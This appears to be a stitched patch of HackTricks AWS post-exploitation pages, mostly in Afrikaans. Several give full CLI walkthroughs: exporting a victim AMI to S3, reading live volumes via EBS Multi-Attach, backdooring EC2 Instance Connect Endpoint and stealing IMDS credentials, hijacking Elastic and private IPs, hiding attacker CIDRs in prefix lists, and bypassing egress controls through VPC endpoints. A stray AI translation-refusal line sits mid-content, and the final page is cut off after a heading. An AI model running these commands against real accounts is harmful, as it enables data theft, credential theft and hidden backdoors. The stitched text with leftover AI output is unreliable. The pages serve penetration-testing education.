||||
```bash
|
||||
# Vars
|
||||
REGION=us-east-1
|
||||
INSTANCE_ID=<i-victim>
|
||||
BUCKET=exfil-ami-$(date +%s)-$RANDOM
|
||||
|
||||
# 1) Create S3 bucket (same Region)
|
||||
if [ "$REGION" = "us-east-1" ]; then
|
||||
aws s3api create-bucket --bucket "$BUCKET" --region "$REGION"
|
||||
else
|
||||
aws s3api create-bucket --bucket "$BUCKET" --create-bucket-configuration LocationConstraint=$REGION --region "$REGION"
|
||||
fi
|
||||
|
||||
# 2) (Recommended) Bucket policy to allow VMIE service to write the object
|
||||
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
cat > /tmp/bucket-policy.json <<POL
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "AllowVMIEPut",
|
||||
"Effect": "Allow",
|
||||
"Principal": {"Service": "vmie.amazonaws.com"},
|
||||
"Action": [
|
||||
"s3:PutObject", "s3:AbortMultipartUpload", "s3:ListBucket",
|
||||
"s3:GetBucketLocation", "s3:GetObject", "s3:PutObjectTagging"
|
||||
],
|
||||
"Resource": [
|
||||
"arn:aws:s3:::$BUCKET",
|
||||
"arn:aws:s3:::$BUCKET/*"
|
||||
],
|
||||
"Condition": {
|
||||
"StringEquals": {"aws:SourceAccount": "$ACCOUNT_ID"},
|
||||
"ArnLike": {"aws:SourceArn": "arn:aws:ec2:$REGION:$ACCOUNT_ID:image/ami-*"}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
POL
|
||||
aws s3api put-bucket-policy --bucket "$BUCKET" --policy file:///tmp/bucket-policy.json
|
||||
|
||||
# 3) Create an AMI of the victim (stealthy: do not reboot)
|
||||
AMI_ID=$(aws ec2 create-image --instance-id "$INSTANCE_ID" --name exfil-$(date +%s) --no-reboot --region "$REGION" --query ImageId --output text)
|
||||
|
||||
# 4) Wait until the AMI is available
|
||||
aws ec2 wait image-available --image-ids "$AMI_ID" --region "$REGION"
|
||||
|
||||
# 5) Store the AMI to S3 as a single object (raw disk image)
|
||||
OBJKEY=$(aws ec2 create-store-image-task --image-id "$AMI_ID" --bucket "$BUCKET" --region "$REGION" --query ObjectKey --output text)
|
||||
|
||||
echo "Object in S3: s3://$BUCKET/$OBJKEY"
|
||||
|
||||
# 6) Poll the task until it completes
|
||||
until [ "$(aws ec2 describe-store-image-tasks --image-ids "$AMI_ID" --region "$REGION" \
|
||||
--query StoreImageTaskResults[0].StoreTaskState --output text)" = "Completed" ]; do
|
||||
aws ec2 describe-store-image-tasks --image-ids "$AMI_ID" --region "$REGION" \
|
||||
--query StoreImageTaskResults[0].StoreTaskState --output text
|
||||
sleep 10
|
||||
done
|
||||
|
||||
# 7) Prove access to the exported image (download first 1MiB)
|
||||
aws s3api head-object --bucket "$BUCKET" --key "$OBJKEY" --region "$REGION"
|
||||
aws s3api get-object --bucket "$BUCKET" --key "$OBJKEY" --range bytes=0-1048575 /tmp/ami.bin --region "$REGION"
|
||||
ls -l /tmp/ami.bin
|
||||
|
||||
# 8) Cleanup (deregister AMI, delete snapshots, object & bucket)
|
||||
aws ec2 deregister-image --image-id "$AMI_ID" --region "$REGION"
|
||||
for S in $(aws ec2 describe-images --image-ids "$AMI_ID" --region "$REGION" \
|
||||
--query Images[0].BlockDeviceMappings[].Ebs.SnapshotId --output text); do
|
||||
aws ec2 delete-snapshot --snapshot-id "$S" --region "$REGION"
|
||||
done
|
||||
aws s3 rm "s3://$BUCKET/$OBJKEY" --region "$REGION"
|
||||
aws s3 rb "s3://$BUCKET" --force --region "$REGION"
|
||||
```
|
||||
</details>
|
||||
|
||||
## Bewysvoorbeeld
|
||||
|
||||
- `describe-store-image-tasks` oorgange:
|
||||
```text
|
||||
InProgress
|
||||
Completed
|
||||
```
|
||||
- S3 objek metadata (voorbeeld):
|
||||
```json
|
||||
{
|
||||
"AcceptRanges": "bytes",
|
||||
"LastModified": "2025-10-08T01:31:46+00:00",
|
||||
"ContentLength": 399768709,
|
||||
"ETag": "\"c84d216455b3625866a58edf294168fd-24\"",
|
||||
"ContentType": "application/octet-stream",
|
||||
"ServerSideEncryption": "AES256",
|
||||
"Metadata": {
|
||||
"ami-name": "exfil-1759887010",
|
||||
"ami-owner-account": "<account-id>",
|
||||
"ami-store-date": "2025-10-08T01:31:45Z"
|
||||
}
|
||||
}
|
||||
```
|
||||
Gedeeltelike aflaai bewys objektoegang:
|
||||
```bash
|
||||
ls -l /tmp/ami.bin
|
||||
# -rw-r--r-- 1 user wheel 1048576 Oct 8 03:32 /tmp/ami.bin
|
||||
```
|
||||
## Vereiste IAM-toestemmings
|
||||
|
||||
- EC2: `CreateImage`, `CreateStoreImageTask`, `DescribeStoreImageTasks`
|
||||
- S3 (on export bucket): `PutObject`, `GetObject`, `ListBucket`, `AbortMultipartUpload`, `PutObjectTagging`, `GetBucketLocation`
|
||||
- KMS: As AMI-snapshots versleuteld is, laat ontsleuteling toe vir die EBS KMS-sleutel wat deur snapshots gebruik word
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+77
@@ -0,0 +1,77 @@
|
||||
# AWS - Regstreekse data-diefstal via EBS Multi-Attach
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Opsomming
|
||||
Gebruik EBS Multi-Attach om te lees vanaf 'n lewendige io1/io2 data volume deur dieselfde volume aan 'n aanvaller-beheerde instance in dieselfde Availability Zone (AZ) te koppel. Die gedeelde volume slegs leesbaar te mount gee onmiddellike toegang tot in-gebruik lêers sonder om snapshots te skep.
|
||||
|
||||
## Vereistes
|
||||
- Teiken volume: io1 of io2 geskep met `--multi-attach-enabled` in dieselfde AZ as die aanvaller-instance.
|
||||
- Permissies: `ec2:AttachVolume`, `ec2:DescribeVolumes`, `ec2:DescribeInstances` op die teiken volume/instances.
|
||||
- Infrastruktuur: Nitro-gebaseerde instance-tipes wat Multi-Attach ondersteun (C5/M5/R5 families, ens.).
|
||||
|
||||
## Aantekeninge
|
||||
- Mount read-only met `-o ro,noload` om die risiko van korrupsie te verminder en journal replays te vermy.
|
||||
- Op Nitro-instances openbaar die EBS NVMe-toestel 'n stabiele `/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_vol...` pad (helper hieronder).
|
||||
|
||||
## Berei 'n Multi-Attach io2 volume voor en koppel dit aan die slagoffer
|
||||
|
||||
Voorbeeld (skep in `us-east-1a` en koppel aan die slagoffer):
|
||||
```bash
|
||||
AZ=us-east-1a
|
||||
# Create io2 volume with Multi-Attach enabled
|
||||
VOL_ID=$(aws ec2 create-volume \
|
||||
--size 10 \
|
||||
--volume-type io2 \
|
||||
--iops 1000 \
|
||||
--availability-zone $AZ \
|
||||
--multi-attach-enabled \
|
||||
--tag-specifications 'ResourceType=volume,Tags=[{Key=Name,Value=multi-shared}]' \
|
||||
--query 'VolumeId' --output text)
|
||||
|
||||
# Attach to victim instance
|
||||
aws ec2 attach-volume --volume-id $VOL_ID --instance-id $VICTIM_INSTANCE --device /dev/sdf
|
||||
```
|
||||
Op die slagoffer, format/mount die nuwe volume en skryf sensitiewe data (illustreerend):
|
||||
```bash
|
||||
VOLNOHYP="vol${VOL_ID#vol-}"
|
||||
DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
|
||||
sudo mkfs.ext4 -F "$DEV"
|
||||
sudo mkdir -p /mnt/shared
|
||||
sudo mount "$DEV" /mnt/shared
|
||||
echo 'secret-token-ABC123' | sudo tee /mnt/shared/secret.txt
|
||||
sudo sync
|
||||
```
|
||||
## Koppel dieselfde volume aan die aanvaller-instansie
|
||||
```bash
|
||||
aws ec2 attach-volume --volume-id $VOL_ID --instance-id $ATTACKER_INSTANCE --device /dev/sdf
|
||||
```
|
||||
## Mount read-only op die aanvaller en lees data
|
||||
```bash
|
||||
VOLNOHYP="vol${VOL_ID#vol-}"
|
||||
DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
|
||||
sudo mkdir -p /mnt/steal
|
||||
sudo mount -o ro,noload "$DEV" /mnt/steal
|
||||
sudo cat /mnt/steal/secret.txt
|
||||
```
|
||||
Verwagte resultaat: Dieselfde `VOL_ID` toon meerdere `Attachments` (victim and attacker) en die attacker kan lêers lees wat deur die victim geskryf is sonder om enige snapshot te skep.
|
||||
```bash
|
||||
aws ec2 describe-volumes --volume-ids $VOL_ID \
|
||||
--query 'Volumes[0].Attachments[*].{InstanceId:InstanceId,State:State,Device:Device}'
|
||||
```
|
||||
<details>
|
||||
<summary>Hulp: vind die NVMe-toestelpad volgens Volume ID</summary>
|
||||
|
||||
Op Nitro instances, gebruik die stabiele by-id path wat die volume id insluit (verwyder die streep na `vol`):
|
||||
```bash
|
||||
VOLNOHYP="vol${VOL_ID#vol-}"
|
||||
ls -l /dev/disk/by-id/ | grep "$VOLNOHYP"
|
||||
# -> nvme-Amazon_Elastic_Block_Store_volXXXXXXXX...
|
||||
```
|
||||
</details>
|
||||
|
||||
## Impact
|
||||
- Onmiddellike lees-toegang tot lewendige data op die teiken EBS-volume sonder om snapshots te genereer.
|
||||
- Indien gemount read-write, kan die aanvaller die slagoffer se lêerstelsel manipuleer (risiko van korrupsie).
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+113
@@ -0,0 +1,113 @@
|
||||
# AWS - EC2 Instance Connect Endpoint backdoor + ephemeral SSH key injection
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Misbruik EC2 Instance Connect Endpoint (EIC Endpoint) om inkomende SSH-toegang tot private EC2-instanties (geen publieke IP/bastion) te verkry deur:
|
||||
- Creating an EIC Endpoint inside the target subnet
|
||||
- Allowing inbound SSH on the target SG from the EIC Endpoint SG
|
||||
- Injecting a short‑lived SSH public key (valid ~60 seconds) with `ec2-instance-connect:SendSSHPublicKey`
|
||||
- Opening an EIC tunnel and pivoting to the instance to steal instance profile credentials from IMDS
|
||||
|
||||
Impak: sluipende afgeleë toegangspad na private EC2-instanties wat bastions en beperkings op publieke IP's omseil. Die aanvaller kan die instance profile aanneem en in die rekening opereer.
|
||||
|
||||
## Vereistes
|
||||
- Permissies vir:
|
||||
- `ec2:CreateInstanceConnectEndpoint`, `ec2:Describe*`, `ec2:AuthorizeSecurityGroupIngress`
|
||||
- `ec2-instance-connect:SendSSHPublicKey`, `ec2-instance-connect:OpenTunnel`
|
||||
- Teiken Linux-instantie met 'n SSH-bediener en EC2 Instance Connect aangeskakel (Amazon Linux 2 of Ubuntu 20.04+). Standaard gebruikers: `ec2-user` (AL2) of `ubuntu` (Ubuntu).
|
||||
|
||||
## Veranderlikes
|
||||
```bash
|
||||
export REGION=us-east-1
|
||||
export INSTANCE_ID=<i-xxxxxxxxxxxx>
|
||||
export SUBNET_ID=<subnet-xxxxxxxx>
|
||||
export VPC_ID=<vpc-xxxxxxxx>
|
||||
export TARGET_SG_ID=<sg-of-target-instance>
|
||||
export ENDPOINT_SG_ID=<sg-for-eic-endpoint>
|
||||
# OS user for SSH (ec2-user for AL2, ubuntu for Ubuntu)
|
||||
export OS_USER=ec2-user
|
||||
```
|
||||
## Skep EIC Endpoint
|
||||
```bash
|
||||
aws ec2 create-instance-connect-endpoint \
|
||||
--subnet-id "$SUBNET_ID" \
|
||||
--security-group-ids "$ENDPOINT_SG_ID" \
|
||||
--tag-specifications 'ResourceType=instance-connect-endpoint,Tags=[{Key=Name,Value=Backdoor-EIC}]' \
|
||||
--region "$REGION" \
|
||||
--query 'InstanceConnectEndpoint.InstanceConnectEndpointId' --output text | tee EIC_ID
|
||||
|
||||
# Wait until ready
|
||||
while true; do
|
||||
aws ec2 describe-instance-connect-endpoints \
|
||||
--instance-connect-endpoint-ids "$(cat EIC_ID)" --region "$REGION" \
|
||||
--query 'InstanceConnectEndpoints[0].State' --output text | tee EIC_STATE
|
||||
grep -q 'create-complete' EIC_STATE && break
|
||||
sleep 5
|
||||
done
|
||||
```
|
||||
## Laat verkeer vanaf die EIC Endpoint na die teikeninstansie toe
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress \
|
||||
--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
|
||||
--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true
|
||||
```
|
||||
## Injecteer efemêre SSH-sleutel en open 'n tonnel
|
||||
```bash
|
||||
# Generate throwaway key
|
||||
ssh-keygen -t ed25519 -f /tmp/eic -N ''
|
||||
|
||||
# Send short-lived SSH pubkey (valid ~60s)
|
||||
aws ec2-instance-connect send-ssh-public-key \
|
||||
--instance-id "$INSTANCE_ID" \
|
||||
--instance-os-user "$OS_USER" \
|
||||
--ssh-public-key file:///tmp/eic.pub \
|
||||
--region "$REGION"
|
||||
|
||||
# Open a local tunnel to instance:22 via the EIC Endpoint
|
||||
aws ec2-instance-connect open-tunnel \
|
||||
--instance-id "$INSTANCE_ID" \
|
||||
--instance-connect-endpoint-id "$(cat EIC_ID)" \
|
||||
--local-port 2222 --remote-port 22 --region "$REGION" &
|
||||
TUN_PID=$!; sleep 2
|
||||
|
||||
# SSH via the tunnel (within the 60s window)
|
||||
ssh -i /tmp/eic -p 2222 "$OS_USER"@127.0.0.1 -o StrictHostKeyChecking=no
|
||||
```
|
||||
## Post-exploitation bewys (steel instance profile credentials)
|
||||
```bash
|
||||
# From the shell inside the instance
|
||||
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ | tee ROLE
|
||||
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$(cat ROLE)
|
||||
```
|
||||
I don't have the file content. Please paste the markdown/HTML content of src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ec2-instance-connect-endpoint-backdoor.md here so I can translate it to Afrikaans per your rules.
|
||||
```json
|
||||
{
|
||||
"Code": "Success",
|
||||
"AccessKeyId": "ASIA...",
|
||||
"SecretAccessKey": "w0G...",
|
||||
"Token": "IQoJ...",
|
||||
"Expiration": "2025-10-08T04:09:52Z"
|
||||
}
|
||||
```
|
||||
Gebruik die gesteelde creds plaaslik om identiteit te verifieer:
|
||||
```bash
|
||||
export AWS_ACCESS_KEY_ID=<AccessKeyId>
|
||||
export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
|
||||
export AWS_SESSION_TOKEN=<Token>
|
||||
aws sts get-caller-identity --region "$REGION"
|
||||
# => arn:aws:sts::<ACCOUNT_ID>:assumed-role/<InstanceRoleName>/<InstanceId>
|
||||
```
|
||||
## Opruiming
|
||||
```bash
|
||||
# Revoke SG ingress on the target
|
||||
aws ec2 revoke-security-group-ingress \
|
||||
--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
|
||||
--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true
|
||||
|
||||
# Delete EIC Endpoint
|
||||
aws ec2 delete-instance-connect-endpoint \
|
||||
--instance-connect-endpoint-id "$(cat EIC_ID)" --region "$REGION"
|
||||
```
|
||||
> Aantekeninge
|
||||
> - Die ingevoegde SSH-sleutel is slegs geldig vir ~60 sekondes; stuur die sleutel direk voordat jy die tonnel/SSH oopmaak.
|
||||
> - `OS_USER` moet ooreenstem met die AMI (bv. `ubuntu` vir Ubuntu, `ec2-user` vir Amazon Linux 2).
|
||||
+52
@@ -0,0 +1,52 @@
|
||||
# AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Opsomming
|
||||
|
||||
Misbruik `ec2:AssociateAddress` (en opsioneel `ec2:DisassociateAddress`) om 'n Elastic IP (EIP) van 'n slagoffer-instansie/ENI na 'n aanvaller-instansie/ENI te herassosieer. Dit herlei inkomende verkeer wat na die EIP gaan na die aanvaller en laat die aanvaller ook uitgaande verkeer met die allowlisted publieke IP uitgaan om eksterne vennoot-firewalls te omseil.
|
||||
|
||||
## Vereistes
|
||||
- Teiken EIP allocation ID in dieselfde rekening/VPC.
|
||||
- Aanvaller-instansie/ENI wat jy beheer.
|
||||
- Permissies:
|
||||
- `ec2:DescribeAddresses`
|
||||
- `ec2:AssociateAddress` op die EIP allocation-id en op die aanvaller-instansie/ENI
|
||||
- `ec2:DisassociateAddress` (opsioneel). Let wel: `--allow-reassociation` sal outomaties van die vorige aansluiting afdissocieer.
|
||||
|
||||
## Aanval
|
||||
|
||||
Variables
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
ATTACKER_INSTANCE=<i-attacker>
|
||||
VICTIM_INSTANCE=<i-victim>
|
||||
```
|
||||
1) Ken die slagoffer se EIP toe of identifiseer dit (lab ken 'n nuwe een toe en heg dit aan die slagoffer)
|
||||
```bash
|
||||
ALLOC_ID=$(aws ec2 allocate-address --domain vpc --region $REGION --query AllocationId --output text)
|
||||
aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $VICTIM_INSTANCE --region $REGION
|
||||
EIP=$(aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION --query Addresses[0].PublicIp --output text)
|
||||
```
|
||||
2) Verifieer dat die EIP tans na die geteikende diens oplos (voorbeeld: kontroleer vir 'n banner)
|
||||
```bash
|
||||
curl -sS http://$EIP | grep -i victim
|
||||
```
|
||||
3) Herassosieer die EIP aan die attacker (word outomaties van die victim losgekoppel)
|
||||
```bash
|
||||
aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $ATTACKER_INSTANCE --allow-reassociation --region $REGION
|
||||
```
|
||||
4) Verifieer dat die EIP nou na die attacker service oplos.
|
||||
```bash
|
||||
sleep 5; curl -sS http://$EIP | grep -i attacker
|
||||
```
|
||||
Bewys (verplaasde assosiasie):
|
||||
```bash
|
||||
aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION \
|
||||
--query Addresses[0].AssociationId --output text
|
||||
```
|
||||
## Impact
|
||||
- Inbound impersonation: Alle verkeer na die hijacked EIP word na die attacker instance/ENI afgelewer.
|
||||
- Outbound impersonation: Attacker kan verkeer inisieer wat blyk te kom van die allowlisted public IP (bruikbaar om partner/eksterne bron IP-filters te omseil).
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+50
@@ -0,0 +1,50 @@
|
||||
# AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Misbruik `ec2:UnassignPrivateIpAddresses` en `ec2:AssignPrivateIpAddresses` om 'n slagoffer-ENI se sekondêre private IP te steel en dit na 'n aanvaller-ENI in dieselfde subnet/AZ te skuif. Baie interne dienste en security groups beheer toegang deur spesifieke private IP's. Deur daardie sekondêre adres te skuif, doen die aanvaller voor as die vertroude gasheer op L3 en kan hy toegang kry tot allowlisted services.
|
||||
|
||||
Vereistes:
|
||||
- Permissions: `ec2:DescribeNetworkInterfaces`, `ec2:UnassignPrivateIpAddresses` on the victim ENI ARN, and `ec2:AssignPrivateIpAddresses` on the attacker ENI ARN.
|
||||
- Beide ENIs moet in dieselfde subnet/AZ wees. Die teikenadres moet 'n sekondêre IP wees (primêre adres kan nie ontkoppel word nie).
|
||||
|
||||
Veranderlikes:
|
||||
- REGION=us-east-1
|
||||
- VICTIM_ENI=<eni-xxxxxxxx>
|
||||
- ATTACKER_ENI=<eni-yyyyyyyy>
|
||||
- PROTECTED_SG=<sg-protected> # SG on a target service that allows only $HIJACK_IP
|
||||
- PROTECTED_HOST=<private-dns-or-ip-of-protected-service>
|
||||
|
||||
Steps:
|
||||
1) Kies 'n sekondêre IP van die slagoffer-ENI
|
||||
```bash
|
||||
aws ec2 describe-network-interfaces --network-interface-ids $VICTIM_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[?Primary==`false`].PrivateIpAddress --output text | head -n1 | tee HIJACK_IP
|
||||
export HIJACK_IP=$(cat HIJACK_IP)
|
||||
```
|
||||
2) Verseker dat die beskermde gasheer slegs daardie IP toelaat (idempotent). As jy eerder SG-to-SG-reëls gebruik, slaan oor.
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id $PROTECTED_SG --protocol tcp --port 80 --cidr "$HIJACK_IP/32" --region $REGION || true
|
||||
```
|
||||
3) Basislyn: vanaf attacker instance moet versoek na PROTECTED_HOST misluk sonder spoofed source (bv. oor SSM/SSH)
|
||||
```bash
|
||||
curl -sS --max-time 3 http://$PROTECTED_HOST || true
|
||||
```
|
||||
4) Ontkoppel die sekondêre IP van die slagoffer ENI
|
||||
```bash
|
||||
aws ec2 unassign-private-ip-addresses --network-interface-id $VICTIM_ENI --private-ip-addresses $HIJACK_IP --region $REGION
|
||||
```
|
||||
5) Ken dieselfde IP toe aan die attacker ENI (op AWS CLI v1 voeg `--allow-reassignment` by)
|
||||
```bash
|
||||
aws ec2 assign-private-ip-addresses --network-interface-id $ATTACKER_ENI --private-ip-addresses $HIJACK_IP --region $REGION
|
||||
```
|
||||
6) Verifieer dat eienaarskap oorgeplaas is
|
||||
```bash
|
||||
aws ec2 describe-network-interfaces --network-interface-ids $ATTACKER_ENI --region $REGION --query NetworkInterfaces[0].PrivateIpAddresses[].PrivateIpAddress --output text | grep -w $HIJACK_IP
|
||||
```
|
||||
7) Vanaf die attacker instance, source-bind na die hijacked IP om die protected host te bereik (verseker dat die IP op die OS gekonfigureer is; indien nie, voeg dit by met `ip addr add $HIJACK_IP/<mask> dev eth0`)
|
||||
```bash
|
||||
curl --interface $HIJACK_IP -sS http://$PROTECTED_HOST -o /tmp/poc.out && head -c 80 /tmp/poc.out
|
||||
```
|
||||
## Impak
|
||||
- Omseil IP allowlists en voordoen as vertroude hosts binne die VPC deur secondary private IPs tussen ENIs in dieselfde subnet/AZ te skuif.
|
||||
- Bereik interne dienste wat toegang op grond van spesifieke source IPs beheer, wat lateral movement en data-toegang moontlik maak.
|
||||
+72
@@ -0,0 +1,72 @@
|
||||
# AWS - Security Group Backdoor via Managed Prefix Lists
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Opsomming
|
||||
Misbruik customer-managed Prefix Lists om 'n onopvallende toegangspad te skep. As 'n security group (SG) rule na 'n managed Prefix List verwys, kan enigiemand wat die bevoegdheid het om daardie lys te wysig stilweg attacker-controlled CIDRs byvoeg. Elke SG (en moontlik Network ACL of VPC endpoint) wat na die lys verwys, laat onmiddellik die nuwe reekse toe sonder enige sigbare SG-wysiging.
|
||||
|
||||
## Impak
|
||||
- Onmiddellike uitbreiding van toegelate IP-reekse vir alle SGs wat na die prefix list verwys, wat change controls omseil wat slegs SG-wysigings moniteer.
|
||||
- Maak volhoubare ingress/egress backdoors moontlik: hou die malicious CIDR in die prefix list weggesteek terwyl die SG rule onveranderd voorkom.
|
||||
|
||||
## Vereistes
|
||||
- IAM permissions:
|
||||
- `ec2:DescribeManagedPrefixLists`
|
||||
- `ec2:GetManagedPrefixListEntries`
|
||||
- `ec2:ModifyManagedPrefixList`
|
||||
- `ec2:DescribeSecurityGroups` / `ec2:DescribeSecurityGroupRules` (om aangehegte SGs te identifiseer)
|
||||
- Opsioneel: `ec2:CreateManagedPrefixList` as 'n nuwe een vir toetsing geskep word.
|
||||
- Omgewing: Ten minste een SG rule wat na die teiken customer-managed Prefix List verwys.
|
||||
|
||||
## Veranderlikes
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
PREFIX_LIST_ID=<pl-xxxxxxxx>
|
||||
ENTRY_CIDR=<attacker-cidr/32>
|
||||
DESCRIPTION="Backdoor – allow attacker"
|
||||
```
|
||||
## Aanvalsstappe
|
||||
|
||||
1) **Enumereer kandidaat prefix lists en consumers**
|
||||
```bash
|
||||
aws ec2 describe-managed-prefix-lists \
|
||||
--region "$REGION" \
|
||||
--query 'PrefixLists[?OwnerId==`<victim-account-id>`].[PrefixListId,PrefixListName,State,MaxEntries]' \
|
||||
--output table
|
||||
|
||||
aws ec2 get-managed-prefix-list-entries \
|
||||
--prefix-list-id "$PREFIX_LIST_ID" \
|
||||
--region "$REGION" \
|
||||
--query 'Entries[*].[Cidr,Description]'
|
||||
```
|
||||
Gebruik `aws ec2 describe-security-group-rules --filters Name=referenced-prefix-list-id,Values=$PREFIX_LIST_ID` om te bevestig watter SG-reëls op die lys staatmaak.
|
||||
|
||||
2) **Voeg attacker CIDR by die prefix list**
|
||||
```bash
|
||||
aws ec2 modify-managed-prefix-list \
|
||||
--prefix-list-id "$PREFIX_LIST_ID" \
|
||||
--add-entries Cidr="$ENTRY_CIDR",Description="$DESCRIPTION" \
|
||||
--region "$REGION"
|
||||
```
|
||||
3) **Valideer propagasie na security groups**
|
||||
```bash
|
||||
aws ec2 describe-security-group-rules \
|
||||
--region "$REGION" \
|
||||
--filters Name=referenced-prefix-list-id,Values="$PREFIX_LIST_ID" \
|
||||
--query 'SecurityGroupRules[*].{SG:GroupId,Description:Description}' \
|
||||
--output table
|
||||
```
|
||||
Verkeer vanaf `$ENTRY_CIDR` word nou toegelaat waar na die prefix list verwys word (gewoonlik uitgaande reëls op egress proxies of inkomende reëls op gedeelde dienste).
|
||||
|
||||
## Bewyse
|
||||
- `get-managed-prefix-list-entries` wys die attacker CIDR en beskrywing.
|
||||
- `describe-security-group-rules` wys nog steeds die oorspronklike SG-reël wat na die prefix list verwys (geen SG-wysiging aangeteken nie), tog slaag verkeer vanaf die nuwe CIDR.
|
||||
|
||||
## Opruiming
|
||||
```bash
|
||||
aws ec2 modify-managed-prefix-list \
|
||||
--prefix-list-id "$PREFIX_LIST_ID" \
|
||||
--remove-entries Cidr="$ENTRY_CIDR" \
|
||||
--region "$REGION"
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+68
@@ -0,0 +1,68 @@
|
||||
# AWS – Egress Bypass from Isolated Subnets via VPC Endpoints
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Opsomming
|
||||
|
||||
Hierdie tegniek misbruik VPC Endpoints om exfiltration channels te skep vanaf subnets sonder Internet Gateways of NAT. Gateway endpoints (bv. S3) voeg prefix‑list routes by die subnet route tables; Interface endpoints (bv. execute-api, secretsmanager, ssm, ens.) skep bereikbare ENIs met private IPs wat deur security groups beskerm word. Met minimale VPC/EC2-permissies kan ’n aanvaller beheerde egress moontlik maak wat nie deur die openbare Internet gaan nie.
|
||||
|
||||
> Prereqs: bestaande VPC en private subnets (geen IGW/NAT). Jy sal permissies nodig hê om VPC endpoints te skep en, vir Opsie B, ’n security group om aan die endpoint ENIs te koppel.
|
||||
|
||||
## Opsie A – S3 Gateway VPC Endpoint
|
||||
|
||||
**Veranderlikes**
|
||||
- `REGION=us-east-1`
|
||||
- `VPC_ID=<target vpc>`
|
||||
- `RTB_IDS=<comma-separated route table IDs of private subnets>`
|
||||
|
||||
1) Create a permissive endpoint policy file (optional). Save as `allow-put-get-any-s3.json`:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [ { "Effect": "Allow", "Action": ["s3:*"], "Resource": ["*"] } ]
|
||||
}
|
||||
```
|
||||
2) Skep die S3 Gateway-eindpunt (voeg S3 prefix‑list-roete by die geselekteerde roete-tabelle):
|
||||
```bash
|
||||
aws ec2 create-vpc-endpoint \
|
||||
--vpc-id $VPC_ID \
|
||||
--service-name com.amazonaws.$REGION.s3 \
|
||||
--vpc-endpoint-type Gateway \
|
||||
--route-table-ids $RTB_IDS \
|
||||
--policy-document file://allow-put-get-any-s3.json # optional
|
||||
```
|
||||
Bewyse om vas te vang:
|
||||
- `aws ec2 describe-route-tables --route-table-ids $RTB_IDS` wys 'n roete na die AWS S3 prefix list (bv., `DestinationPrefixListId=pl-..., GatewayId=vpce-...`).
|
||||
- Vanaf 'n instance in daardie subnets (met IAM regte) kan jy exfil via S3 sonder Internet:
|
||||
```bash
|
||||
# On the isolated instance (e.g., via SSM):
|
||||
echo data > /tmp/x.txt
|
||||
aws s3 cp /tmp/x.txt s3://<your-bucket>/egress-test/x.txt --region $REGION
|
||||
```
|
||||
## Opsie B – Interface VPC Endpoint vir API Gateway (execute-api)
|
||||
|
||||
**Veranderlikes**
|
||||
- `REGION=us-east-1`
|
||||
- `VPC_ID=<target vpc>`
|
||||
- `SUBNET_IDS=<comma-separated private subnets>`
|
||||
- `SG_VPCE=<security group for the endpoint ENIs allowing 443 from target instances>`
|
||||
|
||||
1) Skep die interface-endpoint en heg die SG aan:
|
||||
```bash
|
||||
aws ec2 create-vpc-endpoint \
|
||||
--vpc-id $VPC_ID \
|
||||
--service-name com.amazonaws.$REGION.execute-api \
|
||||
--vpc-endpoint-type Interface \
|
||||
--subnet-ids $SUBNET_IDS \
|
||||
--security-group-ids $SG_VPCE \
|
||||
--private-dns-enabled
|
||||
```
|
||||
Bewyse om vas te lê:
|
||||
- `aws ec2 describe-vpc-endpoints` wys die endpoint in die `available` staat met `NetworkInterfaceIds` (ENIs in jou subnets).
|
||||
- Instances in daardie subnets kan Private API Gateway endpoints bereik deur daardie VPCE ENIs (geen Internet-pad benodig nie).
|
||||
|
||||
## Impak
|
||||
- Omseil perimeter egress-beheer deur gebruik te maak van AWS‑beheerde private paaie na AWS-dienste.
|
||||
- Maak data exfiltration vanaf geïsoleerde subnets moontlik (bv. skryf na S3; aanroep Private API Gateway; bereik Secrets Manager/SSM/STS, ens.) sonder IGW/NAT.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+74
@@ -0,0 +1,74 @@
|
||||
# AWS - VPC Flow Logs Cross-Account Exfiltration to S3
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Opsomming
|
||||
